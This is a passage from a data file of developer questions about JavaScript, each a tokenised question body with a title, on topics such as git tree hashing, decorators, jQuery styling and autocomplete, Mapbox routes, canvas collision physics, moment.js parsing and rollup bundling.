`` \n '' ) ; } ) ; if ( getPattern ) return console.log ( text.replace ( /\0/g , `` '' ) ) ; console.log ( `` Original `` + json.sha ) ; const pattern = `` tree `` + text.length + `` \0 '' + text ; console.log ( `` Actual : `` + sha1 ( pattern ) ) ; function sha1 ( data ) { return crypto.createHash ( `` sha1 '' ) .update ( data , `` binary '' ) .digest ( `` hex '' ) ; } } A1 : Original 8d66139b3acf78fa50e16383693a161c33b5e048Actual : 8d66139b3acf78fa50e16383693a161c33b5e048A2 : Original 4ef57de8e81c8415d6da2b267872e602b1f28cfeActual : c5c701b8114582e3bb2e353aac157a7febfcd33b < -- not godA3 : Original 13b54c0bab5e7f7a05398d6d92e65eee2b227136Actual : 13b54c0bab5e7f7a05398d6d92e65eee2b227136A4 : Original 218a8f506fcd3076fad059ec42d4656c635a8171Actual : 218a8f506fcd3076fad059ec42d4656c635a8171 // ... A2 : Original 4ef57de8e81c8415d6da2b267872e602b1f28cfeActual : 4ef57de8e81c8415d6da2b267872e602b1f28cfe// ... { `` sha '' : `` 4ef57de8e81c8415d6da2b267872e602b1f28cfe '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/4ef57de8e81c8415d6da2b267872e602b1f28cfe '' , `` tree '' : [ { `` path '' : `` .coveragerc '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 449170d0faeb75182310345564fd1811c0b9fd73 '' , `` size '' : 163 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/449170d0faeb75182310345564fd1811c0b9fd73 '' } , { `` path '' : `` .editorconfig '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 75884936ea2d35b531af886acad747d4fd9b2a9e '' , `` size '' : 328 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/75884936ea2d35b531af886acad747d4fd9b2a9e '' } , { `` path '' : `` .flake8 '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 69e872e30d30f5c7de3276d289d6aee81ccf4af7 '' , `` size '' : 232 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/69e872e30d30f5c7de3276d289d6aee81ccf4af7 '' } , { `` path '' : `` .github '' , `` mode '' : `` 040000 '' , `` type '' : `` tree '' , `` sha '' : `` 56b49acad224fdb70fca11809f3e5a4d396cb01c '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/56b49acad224fdb70fca11809f3e5a4d396cb01c '' } , { `` path '' : `` .gitignore '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 4832b44b973574253cf1b59ba7a66cfc227cd699 '' , `` size '' : 1439 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/4832b44b973574253cf1b59ba7a66cfc227cd699 '' } , { `` path '' : `` .jshintrc '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 939efa02939437adece1e3a076d597b2557e36b5 '' , `` size '' : 319 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/939efa02939437adece1e3a076d597b2557e36b5 '' } , { `` path '' : `` .travis.yml '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 6b5e4f43790874e2cf9db23e964f72b99deeb0d1 '' , `` size '' : 6040 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/6b5e4f43790874e2cf9db23e964f72b99deeb0d1 '' } , { `` path '' : `` AUTHORS '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 0b92b7759ce2dd0a7cacf79b273368bb71ac5397 '' , `` size '' : 197 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/0b92b7759ce2dd0a7cacf79b273368bb71ac5397 '' } , { `` path '' : `` CODE_OF_CONDUCT.md '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` ae61c31efae6cea565e447467e4377da76125679 '' , `` size '' : 2754 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/ae61c31efae6cea565e447467e4377da76125679 '' } , { `` path '' : `` CONTRIBUTING.md '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` ac71ad378faf7fb7ae927b20d4d28a57c6085bf9 '' , `` size '' : 155 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/ac71ad378faf7fb7ae927b20d4d28a57c6085bf9 '' } , { `` path '' : `` COPYING '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 94a9ed024d3859793618152ea559a168bbcbb5e2 '' , `` size '' : 35147 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2 '' } , { `` path '' : `` Gulpfile.js '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 5dd951ae61f0913605197fafa018f7db49549a68 '' , `` size '' : 6137 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/5dd951ae61f0913605197fafa018f7db49549a68 '' } , { `` path '' : `` LICENSE '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 8a171a155d85927b678068becd046194aea777a9 '' , `` size '' : 717 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/8a171a155d85927b678068becd046194aea777a9 '' } , { `` path '' : `` Makefile '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` cc722c2bc71dfbaa1b025c8c56245ed0fcd61739 '' , `` size '' : 3829 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/cc722c2bc71dfbaa1b025c8c56245ed0fcd61739 '' } , { `` path '' : `` README.md '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` a6a9013159a3766da62443c4be5e267435469fd9 '' , `` size '' : 3280 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/a6a9013159a3766da62443c4be5e267435469fd9 '' } , { `` path '' : `` assets '' , `` mode '' : `` 040000 '' , `` type '' : `` tree '' , `` sha '' : `` 1846a32450eb2a7605acb55cab8206028cfb656f '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/1846a32450eb2a7605acb55cab8206028cfb656f '' } , { `` path '' : `` doc '' , `` mode '' : `` 040000 '' , `` type '' : `` tree '' , `` sha '' : `` f55b804a2b694db577b20c8e9851ad783fea8ee5 '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/f55b804a2b694db577b20c8e9851ad783fea8ee5 '' } , { `` path '' : `` errors '' , `` mode '' : `` 040000 '' , `` type '' : `` tree '' , `` sha '' : `` b37a18162be2bdae7382fc194f1bf2d0ab89bba3 '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/b37a18162be2bdae7382fc194f1bf2d0ab89bba3 '' } , { `` path '' : `` export-assets '' , `` mode '' : `` 040000 '' , `` type '' : `` tree '' , `` sha '' : `` 3a8b85efa969c389ac3c5e7e6ad62206dbddcaca '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/3a8b85efa969c389ac3c5e7e6ad62206dbddcaca '' } , { `` path '' : `` fixtures '' , `` mode '' : `` 040000 '' , `` type '' : `` tree '' , `` sha '' : `` 89cacb4de6feb81a962b9a992b9434cb44d3b0aa '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/89cacb4de6feb81a962b9a992b9434cb44d3b0aa '' } , { `` path '' : `` geodata '' , `` mode '' : `` 040000 '' , `` type '' : `` tree '' , `` sha '' : `` 635d29035ae7528231edb9b74eb09887c22dda2a '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/635d29035ae7528231edb9b74eb09887c22dda2a '' } , { `` path '' : `` manage.py '' , `` mode '' : `` 100755 '' , `` type '' : `` blob '' , `` sha '' : `` 458f6e2df8b431b9fa819c89e82cebf2e0a91260 '' , `` size '' : 1536 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/458f6e2df8b431b9fa819c89e82cebf2e0a91260 '' } , { `` path '' : `` package.json '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 02d231aa0c0fa299581be07bcece0393dc9a9e47 '' , `` size '' : 1402 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/02d231aa0c0fa299581be07bcece0393dc9a9e47 '' } , { `` path '' : `` quotes.txt '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` e8e84a048d70bc57c1f725fc12f2101a40c5dcbb '' , `` size '' : 1552 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/e8e84a048d70bc57c1f725fc12f2101a40c5dcbb '' } , { `` path '' : `` requirements-dev.txt '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 7297a894036fcf70a7209062bb51f45db1b71d39 '' , `` size '' : 227 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/7297a894036fcf70a7209062bb51f45db1b71d39 '' } , { `` path '' : `` requirements-prod.txt '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 2f957115bcf3794fdecf3c4848f21ae8f428c31b '' , `` size '' : 83 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/2f957115bcf3794fdecf3c4848f21ae8f428c31b '' } , { `` path '' : `` requirements.txt '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 805fefa566ef0d8f6a7c7e58d01fa4684078cf50 '' , `` size '' : 998 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/805fefa566ef0d8f6a7c7e58d01fa4684078cf50 '' } , { `` path '' : `` robots.txt '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 8ca70253a4bb677cb797a7b409df4c4a9c0baa67 '' , `` size '' : 948 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/8ca70253a4bb677cb797a7b409df4c4a9c0baa67 '' } , { `` path '' : `` scripts '' , `` mode '' : `` 040000 '' , `` type '' : `` tree '' , `` sha '' : `` f6a251faaaa14ba4fcf702cd0556675e70cc80f3 '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/f6a251faaaa14ba4fcf702cd0556675e70cc80f3 '' } , { `` path '' : `` suggestions.txt '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 5e5d11a62a00d3f1aea8f3825c8ec89860d31ad0 '' , `` size '' : 285 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/5e5d11a62a00d3f1aea8f3825c8ec89860d31ad0 '' } , { `` path '' : `` templates '' , `` mode '' : `` 040000 '' , `` type '' : `` tree '' , `` sha '' : `` 5b6dde8b8b616ba078305584e23e55ad0c5b2299 '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/5b6dde8b8b616ba078305584e23e55ad0c5b2299 '' } , { `` path '' : `` update.md '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 734cb67218ac7ad952ffe2f816e4820427efe809 '' , `` size '' : 45743 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/734cb67218ac7ad952ffe2f816e4820427efe809 '' } , { `` path '' : `` yarn.lock '' , `` mode '' : `` 100644 '' , `` type '' : `` blob '' , `` sha '' : `` 9fed208fbed286860cb606c9904eb3bab2b3d960 '' , `` size '' : 193867 , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/blobs/9fed208fbed286860cb606c9904eb3bab2b3d960 '' } , { `` path '' : `` zds '' , `` mode '' : `` 040000 '' , `` type '' : `` tree '' , `` sha '' : `` 45b76aa70ad46e116c491a55def4b396b4ecba89 '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/45b76aa70ad46e116c491a55def4b396b4ecba89 '' } , { `` path '' : `` zmd '' , `` mode '' : `` 040000 '' , `` type '' : `` tree '' , `` sha '' : `` 89289051d5d1e37ecc12629737d4fc01dd0df06e '' , `` url '' : `` https : //api.github.com/repos/zestedesavoir/zds-site/git/trees/89289051d5d1e37ecc12629737d4fc01dd0df06e '' } ] , `` truncated '' : false } output_a1100644 arborescence-back.rst 05392dacd107b9e2bb931c85632e115ae69c22cb100644 featured.rst 20084355452644d3a171b54e9331485e73a897ea100644 forum.rst 82efe44d491fbc69fb99b0fc0829ad349a11aae7100644 gallery.rst e075f6d1fe182e595b950cc50d1c5701c6c48bb1100644 member.rst 157a97545f397f02293a95034989f293cda00ee8100644 pages.rst 30d85eb8babc8608a87272eb02a73685a71623c3100644 private-message.rst 6e4872283841ddb0edf03f7535003b4cb5e2f3ce100644 searchv2.rst a31835f3f39b77408b75548c215d06dcd776d3c2100644 tutorialv2.rst e646fef1203c7c9b8137c6420d990fd40c1255ae100644 utils.rst 846765fc32bafc05bb58e6b70883acf5de8ae97boutput_a2100644 .coveragerc 449170d0faeb75182310345564fd1811c0b9fd73100644 .editorconfig 75884936ea2d35b531af886acad747d4fd9b2a9e100644 .flake8 69e872e30d30f5c7de3276d289d6aee81ccf4af740000 .github 56b49acad224fdb70fca11809f3e5a4d396cb01c100644 .gitignore 4832b44b973574253cf1b59ba7a66cfc227cd699100644 .jshintrc 939efa02939437adece1e3a076d597b2557e36b5100644 .travis.yml 6b5e4f43790874e2cf9db23e964f72b99deeb0d1100644 AUTHORS 0b92b7759ce2dd0a7cacf79b273368bb71ac5397100644 CODE_OF_CONDUCT.md ae61c31efae6cea565e447467e4377da76125679100644 CONTRIBUTING.md ac71ad378faf7fb7ae927b20d4d28a57c6085bf9100644 COPYING 94a9ed024d3859793618152ea559a168bbcbb5e2100644 Gulpfile.js 5dd951ae61f0913605197fafa018f7db49549a68100644 LICENSE 8a171a155d85927b678068becd046194aea777a9100644 Makefile cc722c2bc71dfbaa1b025c8c56245ed0fcd61739100644 README.md a6a9013159a3766da62443c4be5e267435469fd940000 assets 1846a32450eb2a7605acb55cab8206028cfb656f40000 doc f55b804a2b694db577b20c8e9851ad783fea8ee540000 errors b37a18162be2bdae7382fc194f1bf2d0ab89bba340000 export-assets 3a8b85efa969c389ac3c5e7e6ad62206dbddcaca40000 fixtures 89cacb4de6feb81a962b9a992b9434cb44d3b0aa40000 geodata 635d29035ae7528231edb9b74eb09887c22dda2a100755 manage.py 458f6e2df8b431b9fa819c89e82cebf2e0a91260100644 package.json 02d231aa0c0fa299581be07bcece0393dc9a9e47100644 quotes.txt e8e84a048d70bc57c1f725fc12f2101a40c5dcbb100644 requirements-dev.txt 7297a894036fcf70a7209062bb51f45db1b71d39100644 requirements-prod.txt 2f957115bcf3794fdecf3c4848f21ae8f428c31b100644 requirements.txt 805fefa566ef0d8f6a7c7e58d01fa4684078cf50100644 robots.txt 8ca70253a4bb677cb797a7b409df4c4a9c0baa6740000 scripts f6a251faaaa14ba4fcf702cd0556675e70cc80f3100644 suggestions.txt 5e5d11a62a00d3f1aea8f3825c8ec89860d31ad040000 templates 5b6dde8b8b616ba078305584e23e55ad0c5b2299100644 update.md 734cb67218ac7ad952ffe2f816e4820427efe809100644 yarn.lock 9fed208fbed286860cb606c9904eb3bab2b3d96040000 zds 45b76aa70ad46e116c491a55def4b396b4ecba8940000 zmd 89289051d5d1e37ecc12629737d4fc01dd0df06eoutput_a3100644 Makefile fd4542fcb89018c3f97901b26992577590db1fe1100644 make.bat f17fd5b680fc6dafdba3d1adda49389de4ae0b2540000 source 7425440b50da313c10be22342f8a0f575ca64196output_a440000 includes 52fe1c1c43130c011e78fc7d488ee5cd2d39fc61100644 opensearch.xml be2e32c0f7c32a22da4c428438ae6f79965ea4ca100644 search.html 5618f244fee4945eb799022f7e109ec8cbb2c696 XX= '' $ ( perl -sane ' $ F [ 2 ] =~ s/ ( .. ) /\\x $ 1/g ; print $ F [ 0 ] . '' `` . $ F [ 1 ] . '' \\ '' . `` x00 '' . $ F [ 2 ] ' output_a1 ) '' SIZE= $ ( echo -en `` $ XX '' | wc -c ) echo `` A1 : '' echo `` original : 8d66139b3acf78fa50e16383693a161c33b5e048 '' echo `` output : '' $ ( echo -en `` tree $ SIZE\x00 $ XX '' | sha1sum ) # ... A1 : original : 8d66139b3acf78fa50e16383693a161c33b5e048output : 8d66139b3acf78fa50e16383693a161c33b5e048A2 : original : 4ef57de8e81c8415d6da2b267872e602b1f28cfeoutput : c5c701b8114582e3bb2e353aac157a7febfcd33bA3 : original : 13b54c0bab5e7f7a05398d6d92e65eee2b227136output : 13b54c0bab5e7f7a05398d6d92e65eee2b227136A4 : original : 218a8f506fcd3076fad059ec42d4656c635a8171output : 218a8f506fcd3076fad059ec42d4656c635a8171",How can I calculate git tree hash ? "JS : I 'm playing with javascript decorators but I 'm having a hard time with the target which is passed to the decorator functionFor example , if you have I would expect that both targets are one and the same thing , right , well it is n't . For example As you can see there is a difference between both targets , and my question is what is wrong with that second targetI use node v7.8.0 and I 'm using the follow babel plugins ( .babelrc ) } @ Bar ( ) class Foo { @ deprecated ( true ) doMagic ( ) { } } function Bar ( ) { return function decorator ( target ) { } } function deprecated ( state ) { return function decorator ( target , name , config ) { return config ; } } function Bar ( ) { return function decorator ( target ) { let bar = new target ( ) ; // WORKS bar instanceof target ; // - > true } } function deprecated ( state ) { return function decorator ( target , name , config ) { let bar = new target ( ) ; // ERROR let bar = new target.constructor ( ) // WORKS bar instanceof target ; // ‌TypeError : Right-hand side of 'instanceof ' is not callable bar instanceof target.constructor // WORKS return config ; } } { `` presets '' : [ `` es2015 '' , `` stage-0 '' ]",What is the ` target ` in javascript decorators "JS : I am writing a mail template editor , users can import their existing templates and redesign the template using our visual editor . If the element the user change has ! important style property ; we have to override the property with jquery.css . Ex : StyleI want to change the color white to green . I tried this plugin https : //github.com/premasagar/important/blob/master/important.js . This plugin is not so intelligent it set ! important for all properties but I expect it should set ! important only for the properties which set ! important . < div id= '' sendwrapper '' > < button > Send < /button > < /div > # sendwrapper * { color : white ! important ; }",Extend jquery.css function to override ! important styles "JS : I have an app with multiple markers , for displaying a travel . Each marker is a step , and I want to create a route between each marker with it following marker ( following step ) . For that , right now I have this code : But the routes does n't appear on the map , and I read on the API Documentation this line : // This API is not available through the JavaScript SDKSo maybe I ca n't call the API . With this code I have a good result : with this url : https : //api.mapbox.com/directions/v5/mapbox/driving/18.0944238,42.65066059999999 ; 15.981919,45.8150108 ? access_token=And the result is a json with geometry ... so a good result as it 's write in the documentation.Maybe someone know how should I display routes on the map ? And if I ca n't with the API call , how should I modify my code to use the Directions Plugin ? $ ( document ) .ready ( function ( ) { var map ; var directions ; // token access for MAPBOX GL mapboxgl.accessToken = 'pk.eyJ1IjoiYW50b3RvIiwiYSI6ImNpdm15YmNwNTAwMDUyb3FwbzlzeWluZHcifQ.r44fcNU5pnX3-mYYM495Fw ' ; // generate map var map = new mapboxgl.Map ( { container : 'map ' , style : 'mapbox : //styles/mapbox/streets-v10 ' , center : [ -96 , 37.8 ] , zoom : 5 } ) ; // center map on selected marker map.on ( 'click ' , 'markers ' , function ( e ) { map.flyTo ( { center : e.features [ 0 ] .geometry.coordinates } ) ; } ) ; // change mouse action on enter / leave in marker map.on ( 'mouseenter ' , 'markers ' , function ( ) { map.getCanvas ( ) .style.cursor = 'pointer ' ; } ) ; map.on ( 'mouseleave ' , 'markers ' , function ( ) { map.getCanvas ( ) .style.cursor = `` ; } ) ; $ .ajax ( { dataType : 'json ' , url : grabTravelData ( ) , success : function ( data ) { geojson = data ; map.addSource ( `` markers '' , { `` type '' : `` geojson '' , `` data '' : { `` type '' : `` FeatureCollection '' , `` features '' : data } } ) ; map.addLayer ( { `` id '' : `` markers '' , `` type '' : `` circle '' , `` source '' : `` markers '' , `` paint '' : { `` circle-radius '' : 7 , `` circle-color '' : `` # ff7e5f '' } , } ) ; // center map on markers var bounds = new mapboxgl.LngLatBounds ( ) ; data.forEach ( function ( feature ) { bounds.extend ( feature.geometry.coordinates ) ; } ) ; map.fitBounds ( bounds ) ; for ( var i = 0 ; i < data.length ; i++ ) { var last = data.length - 1 var from = data [ i ] ; var to = data [ i + 1 ] ; if ( i ! = last ) { apiCall ( from.geometry.coordinates [ 0 ] , from.geometry.coordinates [ 1 ] , to.geometry.coordinates [ 0 ] , to.geometry.coordinates [ 1 ] , mapboxgl.accessToken , i ) ; } else { apiCall ( from.geometry.coordinates [ 0 ] , from.geometry.coordinates [ 1 ] , from.geometry.coordinates [ 0 ] , from.geometry.coordinates [ 1 ] , mapboxgl.accessToken , i ) ; } } } , error : function ( data ) { console.log ( data + ' error ' ) ; } } ) ; function apiCall ( from_one , from_two , to_one , to_two , token , number ) { $ .get ( `` https : //api.mapbox.com/directions/v5/mapbox/driving/ '' + from_one + `` , '' + from_two + `` ; '' + to_one + `` , '' + to_two + `` ? access_token= '' + token , function ( data ) { var naming = `` route- '' + number ; map.on ( 'load ' , function ( ) { map.addSource ( naming , { `` type '' : `` geojson '' , `` data '' : { `` type '' : `` Feature '' , `` properties '' : { } , `` geometry '' : { `` type '' : `` LineString '' , `` coordinates '' : data.routes [ 0 ] .geometry } } } ) ; map.addLayer ( { `` id '' : naming , `` type '' : `` line '' , `` source '' : naming , `` layout '' : { `` line-join '' : `` round '' , `` line-cap '' : `` round '' } , `` paint '' : { `` line-color '' : `` # ff7e5f '' , `` line-width '' : 8 } } ) ; } ) ; } }",Mapbox gl & directions API call - does n't display routes "JS : So I have a value in Javascript : One example of this value is 277385 . How do I , in Javascript , convert this number to 277,385 , as well as any number to that so it has commas in the correct spots ? var val = Entry.val ;",Place commas in Javascript integers "JS : My app 's JavaScript/jQuery is contained in an external scripts.js file . It generally looks like this : giraffe ( ) is only used for the view available at /animal/giraffeelephant ( ) is only used for the view available at /animal/elephantzebra ( ) is only used for the view available at /animal/zebra , But all 3 are supposed to run on the view available /animal/all . This is a rudimentary example , but this is the reasoning behind having them all in one .js file , apart from keeping HTTP requests to a minimum.My question is , does this affect the JavaScript rendering ? Even though giraffe ( ) is n't used ( has no elements to work on ) on /animal/zebra , it 's still being called . Does js/jQuery ignore the function if it finds nothing to do ? I 'm sure the whole script is read , and that probably takes time . So , what 's best way to handle this ? One solutionTo avoid conflicts , I 've created conditionals at the top of the js file to only run the functions that the active page needs : This is a little more verbose than I would like , but it is successful in keeping these functions modular/conflict free . I welcome an improvement on this solution . $ ( 'document ' ) .on ( 'ready ' , function ( ) { giraffe ( ) ; elephant ( ) ; zebra ( ) ; } ) ; function giraffe ( ) { // code } function elephant ( ) { // code } function zebra ( ) { // code } $ ( 'document ' ) .on ( 'ready ' , function ( ) { var body = $ ( 'body ' ) ; if ( body.hasClass ( 'giraffe ' ) ) { giraffe ( ) ; } if ( body.hasClass ( 'elephant ' ) ) { elephant ( ) ; } if ( body.hasClass ( 'zebra ' ) ) { zebra ( ) ; } } ) ;",I keep everything in an external .js file . But not all functions are used on every page . Does this affect speed ? "JS : I have an ajax call which is fetching a JSON representation of a value created by a php json_encode method : The values are being harvested from a 'controller/ajax_autocomplete ' by a jquery autocomplete box . All values are being corectly picked up by jQuery UI 's ui-autocomplete but the special charaters are lost . Montréal become Montr & eacute ; al , Montérégie become Mont & eacute ; r & eacute ; gie ... The special characters are certainly destroyed during http transport because the problem goes away if I manualy copy the JSON table to jquery function . Programmatically decoding the html entity works for text box value but the suggestion list still replaces the special characters with HTML entitiesThe solution would be to decode the HTML entities in suggestion list [ `` Montérégie '' , '' Montréal - North Shore `` , '' Montréal - South Shore '' ] $ ( function ( ) { $ ( `` # regions '' ) .autocomplete ( { source : `` controller/ajax_autocomplete '' , contentType : `` application/json ; charset=utf-8 '' } } ) ; } ) ; $ ( function ( ) { $ ( `` # regions '' ) .autocomplete ( { contentType : `` application/json ; charset=utf-8 '' , source : `` [ `` Montérégie '' , '' Montréal - North Shore `` , '' Montréal - South Shore '' ] '' } } ) ; } ) ; $ ( function ( ) { $ ( `` # regions '' ) .autocomplete ( { source : `` controller/ajax_autocomplete '' , select : function ( event , ui ) { event.preventDefault ( ) ; this.value = $ ( ' < div / > ' ) .html ( ui.item.value ) .text ( ) ; } } ) ; } ) ;",jQuery autocomplete special characters "JS : I am trying to set up an on-click callback for an HTML that causes another node to become visible . Along the way , I was surprised to find out that the following two statements are not equivalent : The first statement ultimately results in a TypeError when the element is finally clicked , with a message of `` undefined is not a function , '' which I surmised to indicate that whatever I was assigned to the onclick callback ended up being undefined and somehow does n't persist in memory.The workaround is simple ( just use the statement of the second form ) , but what I really want to understand is why passing the toggle function as an object does n't work when it finally gets called . I can see that the two are semantically different : the first executes the $ ( `` # content '' ) call when binding the event and the other executes it when the event occurs , but I do n't understand why that should matter.In case it is relevant to the answer , the code in question is located inside of a function ( that has presumably returned by the time the user can click anything ) . $ ( `` # title '' ) .click ( $ ( `` # content '' ) .toggle ) ; $ ( `` # title '' ) .click ( function ( ) { $ ( `` # content '' ) .toggle ( ) ; }",Persistence of JQuery Functions "JS : Please see this Fiddle : https : //jsfiddle.net/sfarbota/wd5aa1wv/2/I am trying to make the ball bounce inside the circle at the correct angles without losing speed . I think I have the collision detection down , but I am facing 2 issues : The ball slows down with each bounce , until eventually stopping.The angles at which it bounces appear to be incorrect.This is partially based off of the answer given here : https : //stackoverflow.com/a/12053397/170309 but I had to translate from Java and also skipped a few lines from their example that seemed irrelevant.Here is the code : JavaScript : HTML : CSS : function getBall ( xVal , yVal , dxVal , dyVal , rVal , colorVal ) { var ball = { x : xVal , lastX : xVal , y : yVal , lastY : yVal , dx : dxVal , dy : dyVal , r : rVal , color : colorVal , normX : 0 , normY : 0 } ; return ball ; } var canvas = document.getElementById ( `` myCanvas '' ) ; var xLabel = document.getElementById ( `` x '' ) ; var yLabel = document.getElementById ( `` y '' ) ; var dxLabel = document.getElementById ( `` dx '' ) ; var dyLabel = document.getElementById ( `` dy '' ) ; var vLabel = document.getElementById ( `` v '' ) ; var normXLabel = document.getElementById ( `` normX '' ) ; var normYLabel = document.getElementById ( `` normY '' ) ; var ctx = canvas.getContext ( `` 2d '' ) ; var containerR = 200 ; canvas.width = containerR * 2 ; canvas.height = containerR * 2 ; canvas.style [ `` border-radius '' ] = containerR + `` px '' ; var balls = [ //getBall ( canvas.width / 2 , canvas.height - 30 , 2 , -2 , 20 , `` # 0095DD '' ) , //getBall ( canvas.width / 3 , canvas.height - 50 , 3 , -3 , 30 , `` # DD9500 '' ) , //getBall ( canvas.width / 4 , canvas.height - 60 , -3 , 4 , 10 , `` # 00DD95 '' ) , getBall ( canvas.width / 2 , canvas.height / 5 , -1.5 , 3 , 40 , `` # DD0095 '' ) ] ; function draw ( ) { ctx.clearRect ( 0 , 0 , canvas.width , canvas.height ) ; for ( var i = 0 ; i < balls.length ; i++ ) { var curBall = balls [ i ] ; ctx.beginPath ( ) ; ctx.arc ( curBall.x , curBall.y , curBall.r , 0 , Math.PI * 2 ) ; ctx.fillStyle = curBall.color ; ctx.fill ( ) ; ctx.closePath ( ) ; curBall.lastX = curBall.x ; curBall.lastY = curBall.y ; curBall.x += curBall.dx ; curBall.y += curBall.dy ; if ( containerR < = curBall.r + Math.sqrt ( Math.pow ( curBall.x - containerR , 2 ) + Math.pow ( curBall.y - containerR , 2 ) ) ) { curBall.normX = ( curBall.x + curBall.r ) - ( containerR ) ; curBall.normY = ( curBall.y + curBall.r ) - ( containerR ) ; var normD = Math.sqrt ( Math.pow ( curBall.x , 2 ) + Math.pow ( curBall.y , 2 ) ) ; if ( normD == 0 ) normD = 1 ; curBall.normX /= normD ; curBall.normY /= normD ; var dotProduct = ( curBall.dx * curBall.normX ) + ( curBall.dy * curBall.normY ) ; curBall.dx = -2 * dotProduct * curBall.normX ; curBall.dy = -2 * dotProduct * curBall.normY ; } xLabel.innerText = `` x : `` + curBall.x ; yLabel.innerText = `` y : `` + curBall.y ; dxLabel.innerText = `` dx : `` + curBall.dx ; dyLabel.innerText = `` dy : `` + curBall.dy ; vLabel.innerText = `` v : `` + curBall.dy / curBall.dx ; normXLabel.innerText = `` normX : `` + curBall.normX ; normYLabel.innerText = `` normY : `` + curBall.normY ; } } setInterval ( draw , 10 ) ; < canvas id= '' myCanvas '' > < /canvas > < div id= '' x '' > < /div > < div id= '' y '' > < /div > < div id= '' dx '' > < /div > < div id= '' dy '' > < /div > < div id= '' v '' > < /div > < div id= '' normX '' > < /div > < div id= '' normY '' > < /div > canvas { background : # eee ; }",Why is this ball inside a circle not bouncing properly ? "JS : When you create a moment from a date string and pass in the format , moment very loosely checks the date string against the format . for example the following dates are all validIs there any way to only accept dates that match the specified format ? moment ( ' 1 ' , 'YYYY-MM-DD ' ) .isValid ( ) //truemoment ( '1988-03 ' , 'YYYY-MM-DD ' ) .isValid ( ) //truemoment ( 'is a val1d date ! ? # ! @ # ' , 'YYYY-MM-DD ' ) .isValid ( ) //true",Strictly parsing dates with moment "JS : For a new project , I started using rollup to bundle a UI library and consume that library in a react application . I 'm also using yarn workspaces for the internal dependency management between the UI library and the web app.When I try to use the UI library in my web app , the import returns undefined and throws the `` can not get from undefined '' error . TypeError : Can not read property 'NavBar ' of undefined [ 0 ] at App ( C : /Users/user/dev/project/packages/project-web/src/pages/App.jsx:9:6 ) The webapp code : root package.json : UI package.json : web app package.json : rollup config : the actual generated code from rollup : The original navbar : index.js : .babelrc : The generated rollup code looks to be ok , so I 'm thinking this is a yarn issue , but I 'm not sure . Any help would be appreciated ! RegardsCornel import React from 'react ' ; import { 